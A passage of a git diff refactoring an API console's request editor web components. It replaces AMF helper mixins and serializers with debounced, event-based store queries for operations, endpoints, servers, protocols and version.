 import { ApiEndPoint, ApiOperation, ApiPayload, ApiParameter, ApiServer } from '../helpers/api';
-import { Operation, AmfDocument } from '../helpers/amf';
 import { AmfParameterMixin } from '../lib/AmfParameterMixin';
 import { SecuritySelectorListItem, ApiConsoleRequest, OperationParameter, ServerType } from '../types';
 
@@ -26,7 +23,6 @@ export const EventCategory: string;
 export const domainIdValue: unique symbol;
 export const operationValue: unique symbol;
 export const endpointValue: unique symbol;
-export const serializerValue: unique symbol;
 export const loadingRequestValue: unique symbol;
 export const requestIdValue: unique symbol;
 export const baseUriValue: unique symbol;
@@ -35,15 +31,13 @@ export const serverLocalValue: unique symbol;
 export const processOperation: unique symbol;
 export const processEndpoint: unique symbol;
 export const processSecurity: unique symbol;
-export const processServers: unique symbol;
+export const processPayload: unique symbol;
 export const appendToParams: unique symbol;
 export const securityList: unique symbol;
 export const updateServer: unique symbol;
 export const updateServerParameters: unique symbol;
 export const updateEndpointParameters: unique symbol;
-export const computeMethodAmfModel: unique symbol;
 export const computeUrlValue: unique symbol;
-export const processSelection: unique symbol;
 export const getOrderedPathParams: unique symbol;
 export const validateUrl: unique symbol;
 export const readUrlValidity: unique symbol;
@@ -83,14 +77,24 @@ export const computeUrlRegexp: unique symbol;
 export const urlSearchRegexpValue: unique symbol;
 export const applyUriValues: unique symbol;
 export const applyQueryParamsValues: unique symbol;
+export const orderPathParameters: unique symbol;
+export const queryOperation: unique symbol;
+export const queryEndpoint: unique symbol;
+export const queryServers: unique symbol;
+export const queryProtocols: unique symbol;
+export const protocolsValue: unique symbol;
+export const serversValue: unique symbol;
+export const queryVersion: unique symbol;
+export const versionValue: unique symbol;
+export const graphChangeHandler: unique symbol;
+export const debounceValue: unique symbol;
+export const processDebounce: unique symbol;
 
 /**
  * @fires apirequest
  * @fires apiabort
- * @fires api-request
- * @fires abort-api-request
  */
-export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelperMixin(EventsTargetMixin(LitElement))) {
+export default class ApiRequestEditorElement extends AmfParameterMixin(EventsTargetMixin(LitElement)) {
   /** 
    * The currently selected media type for the payloads.
    * @attribute
@@ -279,6 +283,16 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    * @returns True when the URL input is invalid.
    */
   get urlInvalid(): boolean;
+  /**
+   * The API's protocols.
+   */
+  get protocols(): string[]|undefined;
+  /**
+   * The API's version.
+   */
+  get version(): string|undefined
+  [protocolsValue]: string[]|undefined;
+  [versionValue]: string|undefined;
   /** 
    * Set when the selection change, this is a JS object created form the 
    * supportedOperation definition of the AMF graph.
@@ -291,7 +305,6 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    * This allows to render the selector to pick the current security.
    */
   [securityList]: SecuritySelectorListItem[];
-  [serializerValue]: AmfSerializer;
   /** 
    * The list of parameter groups that are opened when `allowHideOptional` is set.
    */
@@ -301,8 +314,23 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
   /**
    * The list of computed servers for this AMF configuration.
    */
-  servers: ApiServer[];
-  
+  get servers(): ApiServer[];
+  /** 
+   * Optional. The parent endpoint id. When set it uses this value to query for the endpoint
+   * instead of querying for a parent through the operation id.
+   * Also, when `endpoint` is set and the `endpointId` match then it ignores querying for 
+   * the endpoint.
+   * @attribute
+   */
+  endpointId: string;
+  endpoint: ApiEndPoint|undefined;
+  /** 
+   * The timeout after which the `queryGraph()` function is called 
+   * in the debouncer.
+   */
+  queryDebouncerTimeout: number;
+  [serversValue]: ApiServer[];
+  [serverLocalValue]: ApiServer;
   constructor();
 
   // for the AmfParameterMixin
@@ -311,11 +339,14 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
   _detachListeners(node: EventTarget): void;
 
   /**
-   * Overrides `AmfHelperMixin.__amfChanged`.
-   * It updates selection and clears cache in the model generator, per APIC-229
+   * Handler for the event dispatched by the store when the graph model change.
    */
-  __amfChanged(amf: AmfDocument): void;
+  [graphChangeHandler](): void;
 
+  /**
+   * Calls the `queryGraph()` function in a debouncer.
+   */
+  [processDebounce](): void;
   /**
    * Reads the URL data from the ApiUrlDataModel library and sets local variables.
    */
@@ -343,7 +374,37 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
 
   reset(): void;
 
-  [processSelection](): void;
+  /**
+   * Processes the selection of the domain id for an operation.
+   */
+  processGraph(): Promise<void>;
+
+  /**
+   * Queries the store for the operation data, when needed.
+   * @returns {Promise<void>}
+   */
+  [queryOperation](): Promise<void>;
+
+  /**
+   * Queries the store for the endpoint data.
+   * @returns {Promise<void>}
+   */
+  [queryEndpoint](): Promise<void>;
+
+  /**
+   * Queries for the current servers value.
+   */
+  [queryServers](): Promise<void>;
+
+  /**
+   * Queries the API store for the API protocols list.
+   */
+  [queryProtocols](): Promise<void>;
+
+  /**
+   * Queries the API store for the API version value.
+   */
+  [queryVersion](): Promise<void>;
 
   /**
    * Searches for the current operation endpoint and sets variables from the endpoint definition.
@@ -378,18 +439,6 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
   [modelBodyEditorChangeHandler](e: Event): void;
   [authSelectorHandler](e: Event): void;
 
-  /**
-   * Computes the list of servers to be rendered by this operation.
-   * This should be called after the `[processEndpoint]()` function, when the 
-   * endpoint model is set.
-   */
-  [processServers](): void;
-
-  /**
-   * @returns AMF graph model for an operation
-   */
-  [computeMethodAmfModel](model: AmfDocument, domainId: string): Operation|undefined;
-
   /**
    * Handles send button click.
    * Depending on authorization validity it either sends the
diff --git a/src/elements/ApiRequestEditorElement.js b/src/elements/ApiRequestEditorElement.js
index a97ed2e..f090417 100644
--- a/src/elements/ApiRequestEditorElement.js
+++ b/src/elements/ApiRequestEditorElement.js
@@ -17,7 +17,7 @@ the License.
 import { html, LitElement } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
 import { EventsTargetMixin } from '@anypoint-web-components/awc';
-import { TelemetryEvents, RequestEventTypes } from '@advanced-rest-client/events';
+import { RequestEventTypes } from '@advanced-rest-client/events';
 import { v4 } from '@advanced-rest-client/uuid';
 import { HeadersParser, ifProperty } from '@advanced-rest-client/app';
 import '@anypoint-web-components/awc/anypoint-dropdown-menu.js';
@@ -40,10 +40,8 @@ import { SecurityProcessor } from '../lib/SecurityProcessor.js';
 import { AmfParameterMixin } from '../lib/AmfParameterMixin.js';
 import { AmfInputParser } from '../lib/AmfInputParser.js';
 import * as InputCache from '../lib/InputCache.js';
-import { RequestEvents } from '../events/RequestEvents.js';
+import { Events } from '../events/Events.js';
 import { EventTypes } from '../events/EventTypes.js';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
-import { AmfSerializer } from '../helpers/AmfSerializer.js';
 import '../../define/api-authorization-editor.js';
 import '../../define/api-server-selector.js';
 
@@ -74,7 +72,6 @@ export const EventCategory = 'API Request editor';
 export const domainIdValue = Symbol('domainIdValue');
 export const operationValue = Symbol('currentModel');
 export const endpointValue = Symbol('endpointValue');
-export const serializerValue = Symbol('serializerValue');
 export const loadingRequestValue = Symbol('loadingRequestValue');
 export const requestIdValue = Symbol('requestIdValue');
 export const baseUriValue = Symbol('baseUriValue');
@@ -84,15 +81,12 @@ export const processOperation = Symbol('processOperation');
 export const processEndpoint = Symbol('processEndpoint');
 export const processSecurity = Symbol('processSecurity');
 export const processPayload = Symbol('processPayload');
-export const processServers = Symbol('processServers');
 export const appendToParams = Symbol('appendToParams');
 export const securityList = Symbol('securityList');
 export const updateServer = Symbol('updateServer');
 export const updateServerParameters = Symbol('updateServerParameters');
 export const updateEndpointParameters = Symbol('updateEndpointParameters');
-export const computeMethodAmfModel = Symbol('computeMethodAmfModel');
 export const computeUrlValue = Symbol('computeUrlValue');
-export const processSelection = Symbol('processSelection');
 export const getOrderedPathParams = Symbol('getOrderedPathParams');
 export const validateUrl = Symbol('validateUrl');
 export const readUrlValidity = Symbol('readUrlValidity');
@@ -134,8 +128,19 @@ export const urlSearchRegexpValue = Symbol('urlSearchRegexpValue');
 export const applyUriValues = Symbol('applyUriValues');
 export const applyQueryParamsValues = Symbol('applyQueryParamsValues');
 export const orderPathParameters = Symbol('orderPathParameters');
-
-export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelperMixin(EventsTargetMixin(LitElement))) {
+export const queryOperation = Symbol('queryOperation');
+export const queryEndpoint = Symbol('queryEndpoint');
+export const queryServers = Symbol('queryServers');
+export const queryProtocols = Symbol('queryProtocols');
+export const protocolsValue = Symbol('protocolsValue');
+export const serversValue = Symbol('serversValue');
+export const queryVersion = Symbol('queryVersion');
+export const versionValue = Symbol('versionValue');
+export const graphChangeHandler = Symbol('graphChangeHandler');
+export const debounceValue = Symbol('debounceValue');
+export const processDebounce = Symbol('processDebounce');
+
+export default class ApiRequestEditorElement extends AmfParameterMixin(EventsTargetMixin(LitElement)) {
   get styles() {
     return [
       elementStyles,
@@ -253,6 +258,13 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
        * These values are stored in memory only. Listen to the `change` event to learn that something changed.
        */
       globalCache: { type: Boolean, reflect: true },
+      /** 
+       * Optional. The parent endpoint id. When set it uses this value to query for the endpoint
+       * instead of querying for a parent through the operation id.
+       * Also, when `endpoint` is set and the `endpointId` match then it ignores querying for 
+       * the endpoint.
+       */
+      endpointId: { type: String },
     };
   }
 
@@ -274,7 +286,26 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     }
     this[domainIdValue] = value;
     this.requestUpdate('domainId', old);
-    this[processSelection]();
+    this[processDebounce]();
+  }
+
+  /**
+   * @returns {ApiEndPoint|undefined}
+   */
+  get endpoint() {
+    return this[endpointValue];
+  }
+
+  /**
+   * @param {ApiEndPoint} value
+   */
+  set endpoint(value) {
+    const old = this[endpointValue];
+    if (old === value) {
+      return;
+    }
+    this[endpointValue] = value;
+    this.requestUpdate();
     this.readUrlData();
     this.notifyChange();
   }
@@ -324,6 +355,13 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     this.requestUpdate('baseUri', old);
   }
 
+  /**
+   * @returns {ApiServer[]|undefined} The computed list of servers.
+   */
+  get servers() {
+    return this[serversValue];
+  }
+
   /**
    * @returns {ApiServer}
    */
@@ -429,11 +467,30 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     return this[urlInvalidValue];
   }
 
+  /**
+   * @returns {string[]|undefined} The API's protocols.
+   */
+  get protocols() {
+    return this[protocolsValue];
+  }
+
+  /**
+   * @returns {string|undefined} The API's version.
+   */
+  get version() {
+    return this[versionValue];
+  }
+
   /**
    * @constructor
    */
   constructor() {
     super();
+    /** 
+     * The timeout after which the `queryGraph()` function is called 
+     * in the debouncer.
+     */
+    this.queryDebouncerTimeout = 1;
     this[responseHandler] = this[responseHandler].bind(this);
     this[authRedirectChangedHandler] = this[authRedirectChangedHandler].bind(this);
     this[populateAnnotatedFieldsHandler] = this[populateAnnotatedFieldsHandler].bind(this);
@@ -478,7 +535,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
      */
     this[securityList] = undefined;
     /** @type ApiServer[] */
-    this.servers = undefined;
+    this[serversValue] = undefined;
     /** @type ApiServer */
     this[serverLocalValue] = undefined;
     /** @type boolean */
@@ -487,9 +544,6 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     this.globalCache = undefined;
     /** @type string */
     this.mimeType = undefined;
-    /** @type AmfSerializer */
-    this[serializerValue] = new AmfSerializer();
-
     // for the AmfParameterMixin
     this.target = this;
     /**
@@ -508,7 +562,10 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
      * @type {string[]}
      */
     this.openedOptional = [];
+    /** @type {string} */
+    this.endpointId = undefined;
     InputCache.registerLocal(this);
+    this[graphChangeHandler] = this[graphChangeHandler].bind(this);
   }
 
   // for the AmfParameterMixin
@@ -516,10 +573,24 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     this.dispatchEvent(new Event('change'));
   }
 
+  connectedCallback() {
+    super.connectedCallback();
+    this[processDebounce]();
+  }
+
+  disconnectedCallback() {
+    super.disconnectedCallback();
+    if (this[debounceValue]) {
+      clearTimeout(this[debounceValue]);
+      this[debounceValue] = undefined;
+    }
+  }
+
   /**
    * @param {EventTarget} node
    */
   _attachListeners(node) {
+    node.addEventListener(EventTypes.Store.graphChange, this[graphChangeHandler]);
     node.addEventListener(EventTypes.Request.apiResponse, this[responseHandler]);
     node.addEventListener(EventTypes.Request.apiResponseLegacy, this[responseHandler]);
     node.addEventListener(EventTypes.Request.redirectUriChange, this[authRedirectChangedHandler]);
@@ -527,12 +598,14 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     node.addEventListener(EventTypes.Request.populateAnnotatedFields, this[populateAnnotatedFieldsHandler]);
     node.addEventListener(EventTypes.Request.populateAnnotatedFieldsLegacy, this[populateAnnotatedFieldsHandler]);
     this.addEventListener(RequestEventTypes.send, this[internalSendHandler]);
+    super._attachListeners(node);
   }
 
   /**
    * @param {EventTarget} node
    */
   _detachListeners(node) {
+    node.removeEventListener(EventTypes.Store.graphChange, this[graphChangeHandler]);
     node.removeEventListener(EventTypes.Request.apiResponse, this[responseHandler]);
     node.removeEventListener(EventTypes.Request.apiResponseLegacy, this[responseHandler]);
     node.removeEventListener(EventTypes.Request.redirectUriChange, this[authRedirectChangedHandler]);
@@ -540,19 +613,27 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     node.removeEventListener(EventTypes.Request.populateAnnotatedFields, this[populateAnnotatedFieldsHandler]);
     node.removeEventListener(EventTypes.Request.populateAnnotatedFieldsLegacy, this[populateAnnotatedFieldsHandler]);
     this.removeEventListener(RequestEventTypes.send, this[internalSendHandler]);
+    super._detachListeners(node);
   }
 
   /**
-   * Overrides `AmfHelperMixin.__amfChanged`.
-   * It updates selection and clears cache in the model generator, per APIC-229
-   * @param {any} amf 
+   * Handler for the event dispatched by the store when the graph model change.
    */
-  __amfChanged(amf) {
-    this[serializerValue].amf = amf;
-    this[processServers]();
-    this[processSelection]();
-    this.readUrlData();
-    this.notifyChange();
+  [graphChangeHandler]() {
+    this[processDebounce]()
+  }
+
+  /**
+   * Calls the `queryGraph()` function in a debouncer.
+   */
+  [processDebounce]() {
+    if (this[debounceValue]) {
+      clearTimeout(this[debounceValue]);
+    }
+    this[debounceValue] = setTimeout(() => {
+      this[debounceValue] = undefined;
+      this.processGraph();
+    }, this.queryDebouncerTimeout);
   }
 
   /**
@@ -594,14 +675,14 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    * Computes the URL value for the current serves, selected server, and endpoint's path.
    */
   [computeUrlValue]() {
-    const { effectiveBaseUri, server } = this;
-    const wa = this._computeWebApi(this.amf);
-    const schemes = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme));
+    const { effectiveBaseUri, server, protocols, version } = this;
+    const endpoint = this[endpointValue];
     const result = computeEndpointUri({
       baseUri: effectiveBaseUri, 
       server, 
-      endpoint: this[endpointValue], 
-      protocols: schemes,
+      endpoint, 
+      protocols,
+      version,
       forceHttpProtocol: true,
     });
     const params = this.parametersValue.map(p => p.parameter);
@@ -675,55 +756,122 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     this.parametersValue = /** @type {OperationParameter[]} */ ([]);
   }
 
-  [processSelection]() {
-    const { amf, domainId } = this;
-    if (!amf || !domainId) {
-      this.reset();
-      return;
-    }
-    const model = this[computeMethodAmfModel](amf, domainId);
-    if (!model) {
-      this.reset();
-      return;
-    }
-    const operation = this[serializerValue].operation(model);
-    this[operationValue] = operation;
-    this[processServers]();
+  /**
+   * Processes the selection of the domain id for an operation.
+   */
+  async processGraph() {
+    await this[queryEndpoint]();
+    await this[queryOperation]();
+    await this[queryServers]();
+    await this[queryProtocols]();
     this[processEndpoint]();
     this[processOperation]();
     this[processSecurity]();
     this[processPayload]();
+    this[computeUrlValue]();
+    this.readUrlData();
+    this.notifyChange();
   }
 
   /**
-   * Searches for the current operation endpoint and sets variables from the endpoint definition.
+   * Queries the store for the operation data, when needed.
+   * @returns {Promise<void>}
    */
-  [processEndpoint]() {
-    const { amf, domainId } = this;
+  async [queryOperation]() {
+    const { domainId } = this;
     if (!domainId) {
-      this[endpointValue] = undefined;
-      this[updateEndpointParameters]();
-      this[computeUrlRegexp]();
+      // this[operationValue] = undefined;
       return;
     }
-    let model;
-    if (this._hasType(amf, this.ns.aml.vocabularies.apiContract.EndPoint)) {
-      model = amf;
-    } else {
-      const wa = this._computeWebApi(amf);
-      if (wa) {
-        model = this._computeMethodEndpoint(wa, domainId);
-      }
+    if (this[operationValue] && this[operationValue].id === domainId) {
+      // in case the operation model was provided via the property setter.
+      return;
+    }
+    try {
+      const endpointId = this[endpointValue] && this[endpointValue].id;
+      const info = await Events.Operation.get(this, domainId, endpointId);
+      this[operationValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API operation data: ${e.message}`, this.localName);
     }
-    if (!model) {
-      this[endpointValue] = undefined;
-      this[updateEndpointParameters]();
-      this[computeUrlRegexp]();
+  }
+
+  /**
+   * Queries the store for the endpoint data.
+   * @returns {Promise<void>}
+   */
+  async [queryEndpoint]() {
+    const { domainId, endpointId } = this;
+    if (!domainId) {
+      // this[endpointValue] = undefined;
+      return;
+    }
+    if (this[endpointValue] && this[endpointValue].id === endpointId) {
+      // in case the endpoint model was provided via the property setter.
       return;
     }
-    const factory = new AmfSerializer(amf);
-    const endpoint = factory.endPoint(model);
-    this[endpointValue] = endpoint;
+    this[endpointValue] = undefined;
+    try {
+      const info = await (endpointId ? Events.Endpoint.get(this, endpointId) : Events.Operation.getParent(this, domainId));
+      this[endpointValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API endpoint data: ${e.message}`, this.localName);
+    }
+  }
+
+  /**
+   * Queries for the current servers value.
+   */
+  async [queryServers]() {
+    const { domainId } = this;
+    const endpointId = this[endpointValue] && this[endpointValue].id;
+    try {
+      const info = await Events.Server.query(this, {
+        endpointId,
+        methodId: domainId,
+      });
+      this[serversValue] = info || undefined;
+    } catch (e) {
+      this[serversValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API servers: ${e.message}`, this.localName);
+    }
+  }
+
+  /**
+   * Queries the API store for the API protocols list.
+   */
+  async [queryProtocols]() {
+    this[protocolsValue] = undefined;
+    try {
+      const info = await Events.Api.protocols(this);
+      this[protocolsValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API protocols list: ${e.message}`, this.localName);
+    }
+  }
+
+  /**
+   * Queries the API store for the API version value.
+   */
+  async [queryVersion]() {
+    this[versionValue] = undefined;
+    try {
+      const info = await Events.Api.version(this);
+      this[versionValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API version value: ${e.message}`, this.localName);
+    }
+  }
+
+  /**
+   * Searches for the current operation endpoint and sets variables from the endpoint definition.
+   */
+  [processEndpoint]() {
     this[updateEndpointParameters]();
     this[computeUrlRegexp]();
   }
@@ -736,6 +884,9 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     const operation = this[operationValue];
     // clears previously set request parameters (query, path, headers)
     this.parametersValue = this.parametersValue.filter(item => item.source !== source);
+    if (!operation) {
+      return;
+    }
     const { request } = operation;
     if (!request) {
       return;
@@ -768,6 +919,9 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    */
   [processSecurity]() {
     const operation = this[operationValue];
+    if (!operation) {
+      return;
+    }
     const { security } = operation;
     this[securityList] = SecurityProcessor.readSecurityList(security);
     this.selectedSecurity = 0;
@@ -778,6 +932,9 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    */
   [processPayload]() {
     const operation = this[operationValue];
+    if (!operation) {
+      return;
+    }
     const { request } = operation;
     if (!request) {
       return;
@@ -863,48 +1020,6 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     this.requestUpdate();
   }
 
-  /**
-   * Computes the list of servers to be rendered by this operation.
-   * This should be called after the `[processEndpoint]()` function, when the 
-   * endpoint model is set.
-   */
-  [processServers]() {
-    const { domainId: methodId } = this;
-    const endpoint = this[endpointValue];
-    const endpointId = endpoint ? endpoint.id : '';
-    const servers = this._getServers({ endpointId, methodId });
-    if (Array.isArray(servers)) {
-      this.servers = servers.map(s => this[serializerValue].server(s));
-    } else {
-      this.servers = undefined;
-    }
-  }
-
-  /**
-   * @param {any} model
-   * @param {string} domainId
-   * @returns {Operation|undefined} AMF graph model for an operation
-   */
-  [computeMethodAmfModel](model, domainId) {
-    if (!model || !domainId) {
-      return undefined;
-    }
-    let api = model;
-    if (Array.isArray(api)) {
-      [api] = api;
-    }
-    if (this._hasType(api, this.ns.aml.vocabularies.document.Document)) {
-      const webApi = this._computeWebApi(api);
-      return this._computeMethodModel(webApi, domainId);
-    }
-    const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation);
-    const methods = this._ensureArray(api[key]);
-    if (!methods) {
-      return undefined;
-    }
-    return methods.find((item) => item['@id'] === domainId);
-  }
-
   /**
    * Handles send button click.
    * Depending on authorization validity it either sends the
@@ -951,9 +1066,9 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     this[requestIdValue] = uuid;
     request.id = uuid;
     this[loadingRequestValue] = true;
-    RequestEvents.apiRequest(this, request);
-    RequestEvents.apiRequestLegacy(this, request);
-    TelemetryEvents.event(this, {
+    Events.Request.apiRequest(this, request);
+    Events.Request.apiRequestLegacy(this, request);
+    Events.Telemetry.event(this, {
       category: EventCategory,
       action: 'request-execute',
       label: 'true'
@@ -971,9 +1086,9 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
       url: this.url,
       id: this.requestId,
     };
-    RequestEvents.abortApiRequest(this, detail);
-    RequestEvents.abortApiRequestLegacy(this, detail);
-    TelemetryEvents.event(this, {
+    Events.Request.abortApiRequest(this, detail);
+    Events.Request.abortApiRequestLegacy(this, detail);
+    Events.Telemetry.event(this, {
       category: EventCategory,
       action: 'request-abort',
       label: 'true'
@@ -1010,14 +1125,11 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
       params.push(parameter);
     });
     const report = AmfInputParser.reportRequestInputs(params, InputCache.getStore(this, this.globalCache), this.nilValues);
-
-    const wa = this._computeWebApi(this.amf);
-    const schemes = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme));
     const serverUrl = computeEndpointUri({
       baseUri: this.effectiveBaseUri, 
       server: this.server, 
       endpoint: this[endpointValue], 
-      protocols: schemes,
+      protocols: this.protocols,
       forceHttpProtocol: true,
     });
     let url = applyUrlVariables(serverUrl, report.path, true);
@@ -1141,6 +1253,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     this.serverType = type;
     this.serverValue = value;
     this[updateServer]();
+    this[computeUrlRegexp]();
   }
 
   /**
@@ -1427,14 +1540,13 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     if (!security) {
       return '';
     }
-    const { selectedSecurity = 0, amf, anypoint, outlined, redirectUri, credentialsSource, globalCache } = this;
+    const { selectedSecurity = 0, anypoint, outlined, redirectUri, credentialsSource, globalCache } = this;
     const rendered = security[selectedSecurity];
     return html`
     <section class="authorization params-section">
       <div class="section-title"><span class="label">Credentials</span></div>
       ${security.length > 1 ? this[authorizationSelectorTemplate](security, selectedSecurity) : ''}
       <api-authorization-editor 
-        .amf="${amf}"
         .security="${rendered.security}"
         .anypoint="${anypoint}"
         .outlined="${outlined}"
@@ -1541,7 +1653,6 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
    */
   [serverSelectorTemplate]() {
     const {
-      amf,
       serverType,
       serverValue,
       allowCustomBaseUri,
@@ -1554,11 +1665,10 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(AmfHelper
     <api-server-selector
       ?hidden="${serverSelectorHidden}"
       ?allowCustom="${allowCustomBaseUri}"
-      .amf="${amf}"
       .value="${serverValue}"
       .type="${serverType}"
-      .selectedShape="${domainId}"
-      selectedShapeType="method"
+      .domainId="${domainId}"
+      domainType="operation"
       autoSelect
       ?anypoint="${anypoint}"
       ?outlined="${outlined}"
diff --git a/src/elements/ApiRequestElement.d.ts b/src/elements/ApiRequestElement.d.ts
index 0be5c6d..2205ca9 100644
--- a/src/elements/ApiRequestElement.d.ts
+++ b/src/elements/ApiRequestElement.d.ts
@@ -13,7 +13,6 @@ the License.
 */
 import { TemplateResult, LitElement } from 'lit-element';
 import { EventsTargetMixin } from '@anypoint-web-components/awc';
-import { AmfDocument } from '../helpers/amf';
 import { ArcResponse, ArcRequest, ApiTypes } from '@advanced-rest-client/events';
 import { Oauth2Credentials } from '@advanced-rest-client/app';
 import { ServerType, ApiConsoleResponse, ApiConsoleRequest } from '../types';
@@ -36,11 +35,6 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
    * True when the panel render the response.
    */
   get hasResponse(): boolean;
-
-  /**
-   * The `amf` property that passes amf model to the request editor.
-   */
-  amf: AmfDocument;
   /**
   * The domain id (AMF's id) of an API operation.
   * @attribute
diff --git a/src/elements/ApiRequestElement.js b/src/elements/ApiRequestElement.js
index 859a655..097ae49 100644
--- a/src/elements/ApiRequestElement.js
+++ b/src/elements/ApiRequestElement.js
@@ -29,7 +29,6 @@ import '../../define/api-response-view.js';
 /** @typedef {import('@advanced-rest-client/events').ArcRequest.TransportRequest} TransportRequest */
 /** @typedef {import('@advanced-rest-client/events').ApiTypes.ApiType} ApiType */
 /** @typedef {import('@advanced-rest-client/app').Oauth2Credentials} Oauth2Credentials */
-/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../types').ServerType} ServerType */
 /** @typedef {import('../types').ApiConsoleRequest} ApiConsoleRequest */
 /** @typedef {import('../types').ApiConsoleResponse} ApiConsoleResponse */
@@ -64,10 +63,6 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
 
   static get properties() {
     return {
-      /**
-       * The `amf` property that passes amf model to the request editor.
-       */
-      amf: { type: Object },
       /**
        * The domain id (AMF's id) of an API operation.
        */
@@ -251,8 +246,6 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
     this.proxyEncodeUrl = false;
     /** @type boolean */
     this.handleNavigationEvents = false;
-    /** @type AmfDocument */
-    this.amf = undefined;
     /** @type boolean */
     this.urlEditor = undefined;
     /** @type boolean */
@@ -493,7 +486,6 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
     const {
       redirectUri,
       domainId,
-      amf,
       urlEditor,
       urlLabel,
       baseUri,
@@ -514,8 +506,7 @@ export default class ApiRequestElement extends EventsTargetMixin(LitElement) {
     return html`
     <api-request-editor
       .redirectUri="${redirectUri}"
-      .domainId="${domainId}"
-      .amf="${amf}"
+      domainId="${domainId}"
       ?urlEditor="${urlEditor}"
       ?urlLabel="${urlLabel}"
       .baseUri="${baseUri}"
diff --git a/src/elements/ApiResourceDocumentElement.d.ts b/src/elements/ApiResourceDocumentElement.d.ts
index 63cdf1c..affb9fa 100644
--- a/src/elements/ApiResourceDocumentElement.d.ts
+++ b/src/elements/ApiResourceDocumentElement.d.ts
@@ -1,7 +1,6 @@
 import { TemplateResult } from 'lit-element';
 import { Oauth2Credentials } from '@advanced-rest-client/app';
-import { ApiDocumentationBase } from './ApiDocumentationBase.js';
-import { EndPoint } from '../helpers/amf';
+import { ApiDocumentationBase } from './ApiDocumentationBase';
 import { ApiOperation, ApiServer, ApiEndPoint } from '../helpers/api';
 import { ApiConsoleRequest, ServerType } from '../types';
 
@@ -168,7 +167,6 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
   * @attribute
   */
   serverType: ServerType;
-  domainModel: EndPoint;
   [requestValues]: Record<string, ApiConsoleRequest>;
 
   [processSelectionTimeout]: any;
diff --git a/src/elements/ApiResourceDocumentElement.js b/src/elements/ApiResourceDocumentElement.js
index 24de62b..2985b65 100644
--- a/src/elements/ApiResourceDocumentElement.js
+++ b/src/elements/ApiResourceDocumentElement.js
@@ -7,18 +7,22 @@ import commonStyles from './styles/Common.js';
 import { 
   ApiDocumentationBase,
   descriptionTemplate,
-  serializerValue,
   customDomainPropertiesTemplate,
 } from './ApiDocumentationBase.js';
 import { joinTraitNames } from '../lib/Utils.js';
 import * as UrlLib from '../lib/UrlUtils.js';
+import { ReportingEvents } from '../events/ReportingEvents.js';
+import { TelemetryEvents } from '../events/TelemetryEvents.js';
+import { EndpointEvents } from '../events/EndpointEvents.js';
+import { ServerEvents } from '../events/ServerEvents.js';
+import { ApiEvents } from '../events/ApiEvents.js';
+import { ns } from '../helpers/Namespace.js';
 import '../../define/api-request.js';
 import '../../define/api-operation-document.js'
 import '../../define/api-parameter-document.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
-/** @typedef {import('../helpers/amf').EndPoint} EndPoint */
 /** @typedef {import('../helpers/api').ApiServer} ApiServer */
 /** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
 /** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
@@ -34,6 +38,8 @@ export const endpointValue = Symbol('endpointValue');
 export const serversValue = Symbol('serversValue');
 export const serverValue = Symbol('serverValue');
 export const serverIdValue = Symbol('serverIdValue');
